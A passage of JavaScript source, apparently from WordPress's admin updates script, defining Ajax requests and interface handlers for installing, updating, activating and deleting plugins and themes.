plugin to be updated. * @param {string} response.errorCode Error code for the error that occurred. * @param {string} response.errorMessage The error that occurred. */ wp.updates.updatePluginError = function( response ) { var $pluginRow, $card, $message, errorMessage, buttonText, ariaLabel, $adminBarUpdates = $( '#wp-admin-bar-updates' ); if ( ! wp.updates.isValidResponse( response, 'update' ) ) { return; } if ( wp.updates.maybeHandleCredentialError( response, 'update-plugin' ) ) { return; } errorMessage = sprintf( /* translators: %s: Error string for a failed update. */ __( 'Update failed: %s' ), response.errorMessage ); if ( 'plugins' === pagenow || 'plugins-network' === pagenow ) { $pluginRow = $( 'tr[data-plugin="' + response.plugin + '"]' ).removeClass( 'is-enqueued' ); if ( response.plugin ) { $message = $( 'tr[data-plugin="' + response.plugin + '"]' ).find( '.update-message' ); } else { $message = $( 'tr[data-slug="' + response.slug + '"]' ).find( '.update-message' ); } $message.removeClass( 'updating-message notice-warning' ).addClass( 'notice-error' ).find( 'p' ).html( errorMessage ); if ( response.pluginName ) { $message.find( 'p' ) .attr( 'aria-label', sprintf( /* translators: %s: Plugin name and version. */ _x( '%s update failed.', 'plugin' ), response.pluginName ) ); } else { $message.find( 'p' ).removeAttr( 'aria-label' ); } } else if ( 'plugin-install' === pagenow || 'plugin-install-network' === pagenow ) { buttonText = __( 'Update failed.' ); $card = $( '.plugin-card-' + response.slug + ', #plugin-information-footer' ) .append( wp.updates.adminNotice( { className: 'update-message notice-error notice-alt is-dismissible', message: errorMessage } ) ); if ( $card.hasClass( 'plugin-card-' + response.slug ) ) { $card.addClass( 'plugin-card-update-failed' ); } $card.find( '.update-now' ) .text( buttonText ) .removeClass( 'updating-message' ); if ( response.pluginName ) { ariaLabel = sprintf( /* translators: %s: Plugin name and version. */ _x( '%s update failed.', 'plugin' ), response.pluginName ); $card.find( '.update-now' ).attr( 'aria-label', ariaLabel ); } else { ariaLabel = ''; $card.find( '.update-now' ).removeAttr( 'aria-label' ); } $card.on( 'click', '.notice.is-dismissible .notice-dismiss', function() { // Use same delay as the total duration of the notice fadeTo + slideUp animation. setTimeout( function() { $card .removeClass( 'plugin-card-update-failed' ) .find( '.column-name a' ).trigger( 'focus' ); $card.find( '.update-now' ) .attr( 'aria-label', false ) .text( __( 'Update Now' ) ); }, 200 ); } ); } $adminBarUpdates.removeClass( 'spin' ); wp.a11y.speak( errorMessage, 'assertive' ); if ( 'plugin-information-footer' === $card.attr('id' ) ) { wp.updates.setCardButtonStatus( { status: 'plugin-update-failed', slug: response.slug, removeClasses: 'updating-message', text: buttonText, ariaLabel: ariaLabel } ); } $document.trigger( 'wp-plugin-update-error', response ); }; /** * Sends an Ajax request to the server to install a plugin. * * @since 4.6.0 * * @param {Object} args Arguments. * @param {string} args.slug Plugin identifier in the WordPress.org Plugin repository. * @param {installPluginSuccess=} args.success Optional. Success callback. Default: wp.updates.installPluginSuccess * @param {installPluginError=} args.error Optional. Error callback. Default: wp.updates.installPluginError * @return {$.promise} A jQuery promise that represents the request, * decorated with an abort() method. */ wp.updates.installPlugin = function( args ) { var $card = $( '.plugin-card-' + args.slug + ', #plugin-information-footer' ), $message = $card.find( '.install-now' ), buttonText = __( 'Installing...' ), ariaLabel; args = _.extend( { success: wp.updates.installPluginSuccess, error: wp.updates.installPluginError }, args ); if ( 'import' === pagenow ) { $message = $( '[data-slug="' + args.slug + '"]' ); } if ( $message.html() !== __( 'Installing...' ) ) { $message.data( 'originaltext', $message.html() ); } ariaLabel = sprintf( /* translators: %s: Plugin name and version. */ _x( 'Installing %s...', 'plugin' ), $message.data( 'name' ) ); $message .addClass( 'updating-message' ) .attr( 'aria-label', ariaLabel ) .text( buttonText ); wp.a11y.speak( __( 'Installing... please wait.' ) ); // Remove previous error messages, if any. $card.removeClass( 'plugin-card-install-failed' ).find( '.notice.notice-error' ).remove(); $document.trigger( 'wp-plugin-installing', args ); if ( 'plugin-information-footer' === $message.parent().attr( 'id' ) ) { wp.updates.setCardButtonStatus( { status: 'installing-plugin', slug: args.slug, addClasses: 'updating-message', text: buttonText, ariaLabel: ariaLabel } ); } return wp.updates.ajax( 'install-plugin', args ); }; /** * Updates the UI appropriately after a successful plugin install. * * @since 4.6.0 * * @param {Object} response Response from the server. * @param {string} response.slug Slug of the installed plugin. * @param {string} response.pluginName Name of the installed plugin. * @param {string} response.activateUrl URL to activate the just installed plugin. */ wp.updates.installPluginSuccess = function( response ) { var $message = $( '.plugin-card-' + response.slug + ', #plugin-information-footer' ).find( '.install-now' ), buttonText = _x( 'Installed!', 'plugin' ), ariaLabel = sprintf( /* translators: %s: Plugin name and version. */ _x( '%s installed!', 'plugin' ), response.pluginName ); $message .removeClass( 'updating-message' ) .addClass( 'updated-message installed button-disabled' ) .attr( 'aria-label', ariaLabel ) .text( buttonText ); wp.a11y.speak( __( 'Installation completed successfully.' ) ); $document.trigger( 'wp-plugin-install-success', response ); if ( response.activateUrl ) { setTimeout( function() { wp.updates.checkPluginDependencies( { slug: response.slug } ); }, 1000 ); } if ( 'plugin-information-footer' === $message.parent().attr( 'id' ) ) { wp.updates.setCardButtonStatus( { status: 'installed-plugin', slug: response.slug, removeClasses: 'updating-message', addClasses: 'updated-message installed button-disabled', text: buttonText, ariaLabel: ariaLabel } ); } }; /** * Updates the UI appropriately after a failed plugin install. * * @since 4.6.0 * * @param {Object} response Response from the server. * @param {string} response.slug Slug of the plugin to be installed. * @param {string=} response.pluginName Optional. Name of the plugin to be installed. * @param {string} response.errorCode Error code for the error that occurred. * @param {string} response.errorMessage The error that occurred. */ wp.updates.installPluginError = function( response ) { var $card = $( '.plugin-card-' + response.slug + ', #plugin-information-footer' ), $button = $card.find( '.install-now' ), buttonText = __( 'Installation failed.' ), ariaLabel = sprintf( /* translators: %s: Plugin name and version. */ _x( '%s installation failed', 'plugin' ), $button.data( 'name' ) ), errorMessage; if ( ! wp.updates.isValidResponse( response, 'install' ) ) { return; } if ( wp.updates.maybeHandleCredentialError( response, 'install-plugin' ) ) { return; } errorMessage = sprintf( /* translators: %s: Error string for a failed installation. */ __( 'Installation failed: %s' ), response.errorMessage ); $card .addClass( 'plugin-card-update-failed' ) .append( '<div class="notice notice-error notice-alt is-dismissible" role="alert"><p>' + errorMessage + '</p></div>' ); $card.on( 'click', '.notice.is-dismissible .notice-dismiss', function() { // Use same delay as the total duration of the notice fadeTo + slideUp animation. setTimeout( function() { $card .removeClass( 'plugin-card-update-failed' ) .find( '.column-name a' ).trigger( 'focus' ); }, 200 ); } ); $button .removeClass( 'updating-message' ).addClass( 'button-disabled' ) .attr( 'aria-label', ariaLabel ) .text( buttonText ); wp.a11y.speak( errorMessage, 'assertive' ); wp.updates.setCardButtonStatus( { status: 'plugin-install-failed', slug: response.slug, removeClasses: 'updating-message', addClasses: 'button-disabled', text: buttonText, ariaLabel: ariaLabel } ); $document.trigger( 'wp-plugin-install-error', response ); }; /** * Sends an Ajax request to the server to check a plugin's dependencies. * * @since 6.5.0 * * @param {Object} args Arguments. * @param {string} args.slug Plugin identifier in the WordPress.org Plugin repository. * @param {checkPluginDependenciesSuccess=} args.success Optional. Success callback. Default: wp.updates.checkPluginDependenciesSuccess * @param {checkPluginDependenciesError=} args.error Optional. Error callback. Default: wp.updates.checkPluginDependenciesError * @return {$.promise} A jQuery promise that represents the request, * decorated with an abort() method. */ wp.updates.checkPluginDependencies = function( args ) { args = _.extend( { success: wp.updates.checkPluginDependenciesSuccess, error: wp.updates.checkPluginDependenciesError }, args ); wp.a11y.speak( __( 'Checking plugin dependencies... please wait.' ) ); $document.trigger( 'wp-checking-plugin-dependencies', args ); return wp.updates.ajax( 'check_plugin_dependencies', args ); }; /** * Updates the UI appropriately after a successful plugin dependencies check. * * @since 6.5.0 * * @param {Object} response Response from the server. * @param {string} response.slug Slug of the checked plugin. * @param {string} response.pluginName Name of the checked plugin. * @param {string} response.plugin The plugin file, relative to the plugins directory. * @param {string} response.activateUrl URL to activate the just checked plugin. */ wp.updates.checkPluginDependenciesSuccess = function( response ) { var $message = $( '.plugin-card-' + response.slug + ', #plugin-information-footer' ).find( '.install-now' ), buttonText, ariaLabel; // Transform the 'Install' button into an 'Activate' button. $message .removeClass( 'install-now installed button-disabled updated-message' ) .addClass( 'activate-now button-primary' ) .attr( 'href', response.activateUrl ); wp.a11y.speak( __( 'Plugin dependencies check completed successfully.' ) ); $document.trigger( 'wp-check-plugin-dependencies-success', response ); if ( 'plugins-network' === pagenow || 'plugin-install-network' === pagenow ) { buttonText = _x( 'Network Activate', 'plugin' ); ariaLabel = sprintf( /* translators: %s: Plugin name. */ _x( 'Network Activate %s', 'plugin' ), response.pluginName ); $message .attr( 'aria-label', ariaLabel ) .text( buttonText ); } else { buttonText = _x( 'Activate', 'plugin' ); ariaLabel = sprintf( /* translators: %s: Plugin name. */ _x( 'Activate %s', 'plugin' ), response.pluginName ); $message .attr( 'aria-label', ariaLabel ) .attr( 'data-name', response.pluginName ) .attr( 'data-slug', response.slug ) .attr( 'data-plugin', response.plugin ) .text( buttonText ); } if ( 'plugin-information-footer' === $message.parent().attr( 'id' ) ) { wp.updates.setCardButtonStatus( { status: 'dependencies-check-success', slug: response.slug, removeClasses: 'install-now installed button-disabled updated-message', addClasses: 'activate-now button-primary', text: buttonText, ariaLabel: ariaLabel, pluginName: response.pluginName, plugin: response.plugin, href: response.activateUrl } ); } }; /** * Updates the UI appropriately after a failed plugin dependencies check. * * @since 6.5.0 * * @param {Object} response Response from the server. * @param {string} response.slug Slug of the plugin to be checked. * @param {string=} response.pluginName Optional. Name of the plugin to be checked. * @param {string} response.errorCode Error code for the error that occurred. * @param {string} response.errorMessage The error that occurred. */ wp.updates.checkPluginDependenciesError = function( response ) { var $message = $( '.plugin-card-' + response.slug + ', #plugin-information-footer' ).find( '.install-now' ), buttonText = _x( 'Activate', 'plugin' ), ariaLabel = sprintf( /* translators: 1: Plugin name, 2. The reason the plugin cannot be activated. */ _x( 'Cannot activate %1$s. %2$s', 'plugin' ), response.pluginName, response.errorMessage ), errorMessage; if ( ! wp.updates.isValidResponse( response, 'check-dependencies' ) ) { return; } errorMessage = sprintf( /* translators: %s: Error string for a failed activation. */ __( 'Activation failed: %s' ), response.errorMessage ); wp.a11y.speak( errorMessage, 'assertive' ); $document.trigger( 'wp-check-plugin-dependencies-error', response ); $message .removeClass( 'install-now installed updated-message' ) .addClass( 'activate-now button-primary' ) .attr( 'aria-label', ariaLabel ) .text( buttonText ); if ( 'plugin-information-footer' === $message.parent().attr('id' ) ) { wp.updates.setCardButtonStatus( { status: 'dependencies-check-failed', slug: response.slug, removeClasses: 'install-now installed updated-message', addClasses: 'activate-now button-primary', text: buttonText, ariaLabel: ariaLabel } ); } }; /** * Sends an Ajax request to the server to activate a plugin. * * @since 6.5.0 * * @param {Object} args Arguments. * @param {string} args.name The name of the plugin. * @param {string} args.slug Plugin identifier in the WordPress.org Plugin repository. * @param {string} args.plugin The plugin file, relative to the plugins directory. * @param {activatePluginSuccess=} args.success Optional. Success callback. Default: wp.updates.activatePluginSuccess * @param {activatePluginError=} args.error Optional. Error callback. Default: wp.updates.activatePluginError * @return {$.promise} A jQuery promise that represents the request, * decorated with an abort() method. */ wp.updates.activatePlugin = function( args ) { var $message = $( '.plugin-card-' + args.slug + ', #plugin-information-footer' ).find( '.activate-now, .activating-message' ); args = _.extend( { success: wp.updates.activatePluginSuccess, error: wp.updates.activatePluginError }, args ); wp.a11y.speak( __( 'Activating... please wait.' ) ); $document.trigger( 'wp-activating-plugin', args ); if ( 'plugin-information-footer' === $message.parent().attr( 'id' ) ) { wp.updates.setCardButtonStatus( { status: 'activating-plugin', slug: args.slug, removeClasses: 'installed updated-message button-primary', addClasses: 'activating-message', text: __( 'Activating...' ), ariaLabel: sprintf( /* translators: %s: Plugin name. */ _x( 'Activating %s', 'plugin' ), args.name ) } ); } return wp.updates.ajax( 'activate-plugin', args ); }; /** * Updates the UI appropriately after a successful plugin activation. * * @since 6.5.0 * * @param {Object} response Response from the server. * @param {string} response.slug Slug of the activated plugin. * @param {string} response.pluginName Name of the activated plugin. * @param {string} response.plugin The plugin file, relative to the plugins directory. */ wp.updates.activatePluginSuccess = function( response ) { var $message = $( '.plugin-card-' + response.slug + ', #plugin-information-footer' ).find( '.activating-message' ), buttonText = _x( 'Activated!', 'plugin' ), ariaLabel = sprintf( /* translators: %s: The plugin name. */ '%s activated successfully.', response.pluginName ); wp.a11y.speak( __( 'Activation completed successfully.' ) ); $document.trigger( 'wp-plugin-activate-success', response ); $message .removeClass( 'activating-message' ) .addClass( 'activated-message button-disabled' ) .attr( 'aria-label', ariaLabel ) .text( buttonText ); if ( 'plugin-information-footer' === $message.parent().attr( 'id' ) ) { wp.updates.setCardButtonStatus( { status: 'activated-plugin', slug: response.slug, removeClasses: 'activating-message', addClasses: 'activated-message button-disabled', text: buttonText, ariaLabel: ariaLabel } ); } setTimeout( function() { $message.removeClass( 'activated-message' ) .text( _x( 'Active', 'plugin' ) ); if ( 'plugin-information-footer' === $message.parent().attr( 'id' ) ) { wp.updates.setCardButtonStatus( { status: 'plugin-active', slug: response.slug, removeClasses: 'activated-message', text: _x( 'Active', 'plugin' ), ariaLabel: sprintf( /* translators: %s: The plugin name. */ '%s is active.', response.pluginName ) } ); } }, 1000 ); }; /** * Updates the UI appropriately after a failed plugin activation. * * @since 6.5.0 * * @param {Object} response Response from the server. * @param {string} response.slug Slug of the plugin to be activated. * @param {string=} response.pluginName Optional. Name of the plugin to be activated. * @param {string} response.errorCode Error code for the error that occurred. * @param {string} response.errorMessage The error that occurred. */ wp.updates.activatePluginError = function( response ) { var $message = $( '.plugin-card-' + response.slug + ', #plugin-information-footer' ).find( '.activating-message' ), buttonText = __( 'Activation failed.' ), ariaLabel = sprintf( /* translators: %s: Plugin name. */ _x( '%s activation failed', 'plugin' ), response.pluginName ), errorMessage; if ( ! wp.updates.isValidResponse( response, 'activate' ) ) { return; } errorMessage = sprintf( /* translators: %s: Error string for a failed activation. */ __( 'Activation failed: %s' ), response.errorMessage ); wp.a11y.speak( errorMessage, 'assertive' ); $document.trigger( 'wp-plugin-activate-error', response ); $message .removeClass( 'install-now installed activating-message' ) .addClass( 'button-disabled' ) .attr( 'aria-label', ariaLabel ) .text( buttonText ); if ( 'plugin-information-footer' === $message.parent().attr( 'id' ) ) { wp.updates.setCardButtonStatus( { status: 'plugin-activation-failed', slug: response.slug, removeClasses: 'install-now installed activating-message', addClasses: 'button-disabled', text: buttonText, ariaLabel: ariaLabel } ); } }; /** * Updates the UI appropriately after a successful importer install. * * @since 4.6.0 * * @param {Object} response Response from the server. * @param {string} response.slug Slug of the installed plugin. * @param {string} response.pluginName Name of the installed plugin. * @param {string} response.activateUrl URL to activate the just installed plugin. */ wp.updates.installImporterSuccess = function( response ) { wp.updates.addAdminNotice( { id: 'install-success', className: 'notice-success is-dismissible', message: sprintf( /* translators: %s: Activation URL. */ __( 'Importer installed successfully. <a href="%s">Run importer</a>' ), response.activateUrl + '&from=import' ) } ); $( '[data-slug="' + response.slug + '"]' ) .removeClass( 'install-now updating-message' ) .addClass( 'activate-now' ) .attr({ 'href': response.activateUrl + '&from=import', 'aria-label':sprintf( /* translators: %s: Importer name. */ __( 'Run %s' ), response.pluginName ) }) .text( __( 'Run Importer' ) ); wp.a11y.speak( __( 'Installation completed successfully.' ) ); $document.trigger( 'wp-importer-install-success', response ); }; /** * Updates the UI appropriately after a failed importer install. * * @since 4.6.0 * * @param {Object} response Response from the server. * @param {string} response.slug Slug of the plugin to be installed. * @param {string=} response.pluginName Optional. Name of the plugin to be installed. * @param {string} response.errorCode Error code for the error that occurred. * @param {string} response.errorMessage The error that occurred. */ wp.updates.installImporterError = function( response ) { var errorMessage = sprintf( /* translators: %s: Error string for a failed installation. */ __( 'Installation failed: %s' ), response.errorMessage ), $installLink = $( '[data-slug="' + response.slug + '"]' ), pluginName = $installLink.data( 'name' ); if ( ! wp.updates.isValidResponse( response, 'install' ) ) { return; } if ( wp.updates.maybeHandleCredentialError( response, 'install-plugin' ) ) { return; } wp.updates.addAdminNotice( { id: response.errorCode, className: 'notice-error is-dismissible', message: errorMessage } ); $installLink .removeClass( 'updating-message' ) .attr( 'aria-label', sprintf( /* translators: %s: Plugin name. */ _x( 'Install %s now', 'plugin' ), pluginName ) ) .text( _x( 'Install Now', 'plugin' ) ); wp.a11y.speak( errorMessage, 'assertive' ); $document.trigger( 'wp-importer-install-error', response ); }; /** * Sends an Ajax request to the server to delete a plugin. * * @since 4.6.0 * * @param {Object} args Arguments. * @param {string} args.plugin Basename of the plugin to be deleted. * @param {string} args.slug Slug of the plugin to be deleted. * @param {deletePluginSuccess=} args.success Optional. Success callback. Default: wp.updates.deletePluginSuccess * @param {deletePluginError=} args.error Optional. Error callback. Default: wp.updates.deletePluginError * @return {$.promise} A jQuery promise that represents the request, * decorated with an abort() method. */ wp.updates.deletePlugin = function( args ) { var $link = $( '[data-plugin="' + args.plugin + '"]' ).find( '.row-actions a.delete' ); args = _.extend( { success: wp.updates.deletePluginSuccess, error: wp.updates.deletePluginError }, args ); if ( $link.html() !== __( 'Deleting...' ) ) { $link .data( 'originaltext', $link.html() ) .text( __( 'Deleting...' ) ); } wp.a11y.speak( __( 'Deleting...' ) ); $document.trigger( 'wp-plugin-deleting', args ); return wp.updates.ajax( 'delete-plugin', args ); }; /** * Updates the UI appropriately after a successful plugin deletion. * * @since 4.6.0 * * @param {Object} response Response from the server. * @param {string} response.slug Slug of the plugin that was deleted. * @param {string} response.plugin Base name of the plugin that was deleted. * @param {string} response.pluginName Name of the plugin that was deleted. */ wp.updates.deletePluginSuccess = function( response ) { // Removes the plugin and updates rows. $( '[data-plugin="' + response.plugin + '"]' ).css( { backgroundColor: '#faafaa' } ).fadeOut( 350, function() { var $form = $( '#bulk-action-form' ), $views = $( '.subsubsub' ), $pluginRow = $( this ), $currentView = $views.find( '[aria-current="page"]' ), $itemsCount = $( '.displaying-num' ), columnCount = $form.find( 'thead th:not(.hidden), thead td' ).length, pluginDeletedRow = wp.template( 'item-deleted-row' ), /** * Plugins Base names of plugins in their different states. * * @type {Object} */ plugins = settings.plugins, remainingCount; // Add a success message after deleting a plugin. if ( ! $pluginRow.hasClass( 'plugin-update-tr' ) ) { $pluginRow.after( pluginDeletedRow( { slug: response.slug, plugin: response.plugin, colspan: columnCount, name: response.pluginName } ) ); } $pluginRow.remove(); // Remove plugin from update count. if ( -1 !== _.indexOf( plugins.upgrade, response.plugin ) ) { plugins.upgrade = _.without( plugins.upgrade, response.plugin ); wp.updates.decrementCount( 'plugin' ); } // Remove from views. if ( -1 !== _.indexOf( plugins.inactive, response.plugin ) ) { plugins.inactive = _.without( plugins.inactive, response.plugin ); if ( plugins.inactive.length ) { $views.find( '.inactive .count' ).text( '(' + plugins.inactive.length + ')' ); } else { $views.find( '.inactive' ).remove(); } } if ( -1 !== _.indexOf( plugins.active, response.plugin ) ) { plugins.active = _.without( plugins.active, response.plugin ); if ( plugins.active.length ) { $views.find( '.active .count' ).text( '(' + plugins.active.length + ')' ); } else { $views.find( '.active' ).remove(); } } if ( -1 !== _.indexOf( plugins.recently_activated, response.plugin ) ) { plugins.recently_activated = _.without( plugins.recently_activated, response.plugin ); if ( plugins.recently_activated.length ) { $views.find( '.recently_activated .count' ).text( '(' + plugins.recently_activated.length + ')' ); } else { $views.find( '.recently_activated' ).remove(); } } if ( -1 !== _.indexOf( plugins['auto-update-enabled'], response.plugin ) ) { plugins['auto-update-enabled'] = _.without( plugins['auto-update-enabled'], response.plugin ); if ( plugins['auto-update-enabled'].length ) { $views.find( '.auto-update-enabled .count' ).text( '(' + plugins['auto-update-enabled'].length + ')' ); } else { $views.find( '.auto-update-enabled' ).remove(); } } if ( -1 !== _.indexOf( plugins['auto-update-disabled'], response.plugin ) ) { plugins['auto-update-disabled'] = _.without( plugins['auto-update-disabled'], response.plugin ); if ( plugins['auto-update-disabled'].length ) { $views.find( '.auto-update-disabled .count' ).text( '(' + plugins['auto-update-disabled'].length + ')' ); } else { $views.find( '.auto-update-disabled' ).remove(); } } plugins.all = _.without( plugins.all, response.plugin ); if ( plugins.all.length ) { $views.find( '.all .count' ).text( '(' + plugins.all.length + ')' ); } else { $form.find( '.tablenav' ).css( { visibility: 'hidden' } ); $views.find( '.all' ).remove(); if ( ! $form.find( 'tr.no-items' ).length ) { $form.find( '#the-list' ).append( '<tr class="no-items"><td class="colspanchange" colspan="' + columnCount + '">' + __( 'No plugins are currently available.' ) + '</td></tr>' ); } } if ( $itemsCount.length && $currentView.length ) { remainingCount = plugins[ $currentView.parent( 'li' ).attr('class') ].length; $itemsCount.text( sprintf( /* translators: %s: The remaining number of plugins. */ _nx( '%s item', '%s items', remainingCount, 'plugin/plugins' ), remainingCount ) ); } } ); wp.a11y.speak( _x( 'Deleted!', 'plugin' ) ); $document.trigger( 'wp-plugin-delete-success', response ); }; /** * Updates the UI appropriately after a failed plugin deletion. * * @since 4.6.0 * * @param {Object} response Response from the server. * @param {string} response.slug Slug of the plugin to be deleted. * @param {string} response.plugin Base name of the plugin to be deleted * @param {string=} response.pluginName Optional. Name of the plugin to be deleted. * @param {string} response.errorCode Error code for the error that occurred. * @param {string} response.errorMessage The error that occurred. */ wp.updates.deletePluginError = function( response ) { var $plugin, $pluginUpdateRow, pluginUpdateRow = wp.template( 'item-update-row' ), noticeContent = wp.updates.adminNotice( { className: 'update-message notice-error notice-alt', message: response.errorMessage } ); if ( response.plugin ) { $plugin = $( 'tr.inactive[data-plugin="' + response.plugin + '"]' ); $pluginUpdateRow = $plugin.siblings( '[data-plugin="' + response.plugin + '"]' ); } else { $plugin = $( 'tr.inactive[data-slug="' + response.slug + '"]' ); $pluginUpdateRow = $plugin.siblings( '[data-slug="' + response.slug + '"]' ); } if ( ! wp.updates.isValidResponse( response, 'delete' ) ) { return; } if ( wp.updates.maybeHandleCredentialError( response, 'delete-plugin' ) ) { return; } // Add a plugin update row if it doesn't exist yet. if ( ! $pluginUpdateRow.length ) { $plugin.addClass( 'update' ).after( pluginUpdateRow( { slug: response.slug, plugin: response.plugin || response.slug, colspan: $( '#bulk-action-form' ).find( 'thead th:not(.hidden), thead td' ).length, content: noticeContent } ) ); } else { // Remove previous error messages, if any. $pluginUpdateRow.find( '.notice-error' ).remove(); $pluginUpdateRow.find( '.plugin-update' ).append( noticeContent ); } $document.trigger( 'wp-plugin-delete-error', response ); }; /** * Sends an Ajax request to the server to update a theme. * * @since 4.6.0 * * @param {Object} args Arguments. * @param {string} args.slug Theme stylesheet. * @param {updateThemeSuccess=} args.success Optional. Success callback. Default: wp.updates.updateThemeSuccess * @param {updateThemeError=} args.error Optional. Error callback. Default: wp.updates.updateThemeError * @return {$.promise} A jQuery promise that represents the request, * decorated with an abort() method. */ wp.updates.updateTheme = function( args ) { var $notice; args = _.extend( { success: wp.updates.updateThemeSuccess, error: wp.updates.updateThemeError }, args ); if ( 'themes-network' === pagenow ) { $notice = $( '[data-slug="' + args.slug + '"]' ).find( '.update-message' ).removeClass( 'notice-error' ).addClass( 'updating-message notice-warning' ).find( 'p' ); } else if ( 'customize' === pagenow ) { // Update the theme details UI. $notice = $( '[data-slug="' + args.slug + '"].notice' ).removeClass( 'notice-large' ); $notice.find( 'h3' ).remove(); // Add the top-level UI, and update both. $notice = $notice.add( $( '#customize-control-installed_theme_' + args.slug ).find( '.update-message' ) ); $notice = $notice.addClass( 'updating-message' ).find( 'p' ); } else { $notice = $( '#update-theme' ).closest( '.notice' ).removeClass( 'notice-large' ); $notice.find( 'h3' ).remove(); $notice = $notice.add( $( '[data-slug="' + args.slug + '"]' ).find( '.update-message' ) ); $notice = $notice.addClass( 'updating-message' ).find( 'p' ); } if ( $notice.html() !== __( 'Updating...' ) ) { $notice.data( 'originaltext', $notice.html() ); } wp.a11y.speak( __( 'Updating... please wait.' ) ); $notice.text( __( 'Updating...' ) ); $document.trigger( 'wp-theme-updating', args ); return wp.updates.ajax( 'update-theme', args ); }; /** * Updates the UI appropriately after a successful theme update. * * @since 4.6.0 * @since 5.5.0 Auto-update "time to next update" text cleared. * * @param {Object} response * @param {string} response.slug Slug of the theme to be updated. * @param {Object} response.theme Updated theme. * @param {string} response.oldVersion Old version of the theme. * @param {string} response.newVersion New version of the theme. */ wp.updates.updateThemeSuccess = function( response ) { var isModalOpen = $( 'body.modal-open' ).length, $theme = $( '[data-slug="' + response.slug + '"]' ), updatedMessage = { className: 'updated-message notice-success notice-alt', message: _x( 'Updated!', 'theme' ) }, $notice, newText; if ( 'customize' === pagenow ) { $theme = $( '.updating-message' ).siblings( '.theme-name' ); if ( $theme.length ) { // Update the version number in the row. newText = $theme.html().replace( response.oldVersion, response.newVersion ); $theme.html( newText ); } $notice = $( '.theme-info .notice' ).add( wp.customize.control( 'installed_theme_' + response.slug ).container.find( '.theme' ).find( '.update-message' ) ); } else if ( 'themes-network' === pagenow ) { $notice = $theme.find( '.update-message' ); // Update the version number in the row. newText = $theme.find( '.theme-version-author-uri' ).html().replace( response.oldVersion, response.newVersion ); $theme.find( '.theme-version-author-uri' ).html( newText ); // Clear the "time to next auto-update" text. $theme.find( '.auto-update-time' ).empty(); } else { $notice = $( '.theme-info .notice' ).add( $theme.find( '.update-message' ) ); // Focus on Customize button after updating. if ( isModalOpen ) { $( '.load-customize:visible' ).trigger( 'focus' ); $( '.theme-info .theme-autoupdate' ).find( '.auto-update-time' ).empty(); } else { $theme.find( '.load-customize' ).trigger( 'focus' ); } } wp.updates.addAdminNotice( _.extend( { selector: $notice }, updatedMessage ) ); wp.a11y.speak( __( 'Update completed successfully.' ) ); wp.updates.decrementCount( 'theme' ); $document.trigger( 'wp-theme-update-success', response ); // Show updated message after modal re-rendered. if ( isModalOpen && 'customize' !== pagenow ) { $( '.theme-info .theme-author' ).after( wp.updates.adminNotice( updatedMessage ) ); } }; /** * Updates the UI appropriately after a failed theme update. * * @since 4.6.0 * * @param {Object} response Response from the server. * @param {string} response.slug Slug of the theme to be updated. * @param {string} response.errorCode Error code for the error that occurred. * @param {string} response.errorMessage The error that occurred. */ wp.updates.updateThemeError = function( response ) { var $theme = $( '[data-slug="' + response.slug + '"]' ), errorMessage = sprintf( /* translators: %s: Error string for a failed update. */ __( 'Update failed: %s' ), response.errorMessage ), $notice; if ( ! wp.updates.isValidResponse( response, 'update' ) ) { return; } if ( wp.updates.maybeHandleCredentialError( response, 'update-theme' ) ) { return; } if ( 'customize' === pagenow ) { $theme = wp.customize.control( 'installed_theme_' + response.slug ).container.find( '.theme' ); } if ( 'themes-network' === pagenow ) { $notice = $theme.find( '.update-message ' ); } else { $notice = $( '.theme-info .notice' ).add( $theme.find( '.notice' ) ); $( 'body.modal-open' ).length ? $( '.load-customize:visible' ).trigger( 'focus' ) : $theme.find( '.load-customize' ).trigger( 'focus'); } wp.updates.addAdminNotice( { selector: $notice, className: 'update-message notice-error notice-alt is-dismissible', message: errorMessage } ); wp.a11y.speak( errorMessage ); $document.trigger( 'wp-theme-update-error', response ); }; /** * Sends an Ajax request to the server to install a theme. * * @since 4.6.0 * * @param {Object} args * @param {string} args.slug Theme stylesheet. * @param {installThemeSuccess=} args.success Optional. Success callback. Default: wp.updates.installThemeSuccess * @param {installThemeError=} args.error Optional. Error callback. Default: wp.updates.installThemeError * @return {$.promise} A jQuery promise that represents the request, * decorated with an abort() method. */ wp.updates.installTheme = function( args ) { var $message = $( '.theme-install[data-slug="' + args.slug + '"]' ); args = _.extend( { success: wp.updates.installThemeSuccess, error: wp.updates.installThemeError }, args ); $message.addClass( 'updating-message' ); $message.parents( '.theme' ).addClass( 'focus' ); if ( $message.html() !== __( 'Installing...' ) ) { $message.data( 'originaltext', $message.html() ); } $message .attr( 'aria-label', sprintf( /* translators: %s: Theme name and version. */ _x( 'Installing %s...', 'theme' ), $message.data( 'name' ) ) ) .text( __( 'Installing...' ) ); wp.a11y.speak( __( 'Installing... please wait.' ) ); // Remove previous error messages, if any. $( '.install-theme-info, [data-slug="' + args.slug + '"]' ).removeClass( 'theme-install-failed' ).find( '.notice.notice-error' ).remove(); $document.trigger( 'wp-theme-installing', args ); return wp.updates.ajax( 'install-theme', args ); }; /** * Updates the UI appropriately after a successful theme install. * * @since 4.6.0 * * @param {Object} response Response from the server. * @param {string} response.slug Slug of the theme to be installed. * @param {string} response.customizeUrl URL to the Customizer for the just installed theme. * @param {string} response.activateUrl URL to activate the just installed theme. */ wp.updates.installThemeSuccess = function( response ) { var $card = $( '.wp-full-overlay-header, [data-slug=' + response.slug + ']' ), $message; $document.trigger( 'wp-theme-install-success', response ); $message = $card.find( '.button-primary' ) .removeClass( 'updating-message' ) .addClass( 'updated-message disabled' ) .attr( 'aria-label', sprintf( /* translators: %s: Theme name and version. */ _x( '%s installed!', 'theme' ), response.themeName ) ) .text( _x( 'Installed!', 'theme' ) ); wp.a11y.speak( __( 'Installation completed successfully.' ) ); setTimeout( function() { if ( response.activateUrl ) { // Transform the 'Install' button into an 'Activate' button. $message .attr( 'href', response.activateUrl ) .removeClass( 'theme-install updated-message disabled' ) .addClass( 'activate' ); if ( 'themes-network' === pagenow ) { $message .attr( 'aria-label', sprintf( /* translators: %s: Theme name. */ _x( 'Network Activate %s', 'theme' ), response.themeName ) ) .text( __( 'Network Enable' ) ); } else { $message .attr( 'aria-label', sprintf( /* translators: %s: Theme name. */ _x( 'Activate %s', 'theme' ), response.themeName ) ) .text( _x( 'Activate', 'theme' ) ); } } if ( response.customizeUrl ) { // Transform the 'Preview' button into a 'Live Preview' button. $message.siblings( '.preview' ).replaceWith( function () { return $( '<a>' ) .attr( 'href', response.customizeUrl ) .addClass( 'button load-customize' ) .text( __( 'Live Preview' ) ); } ); } }, 1000 ); }; /** * Updates the UI appropriately after a failed theme install. * * @since 4.6.0 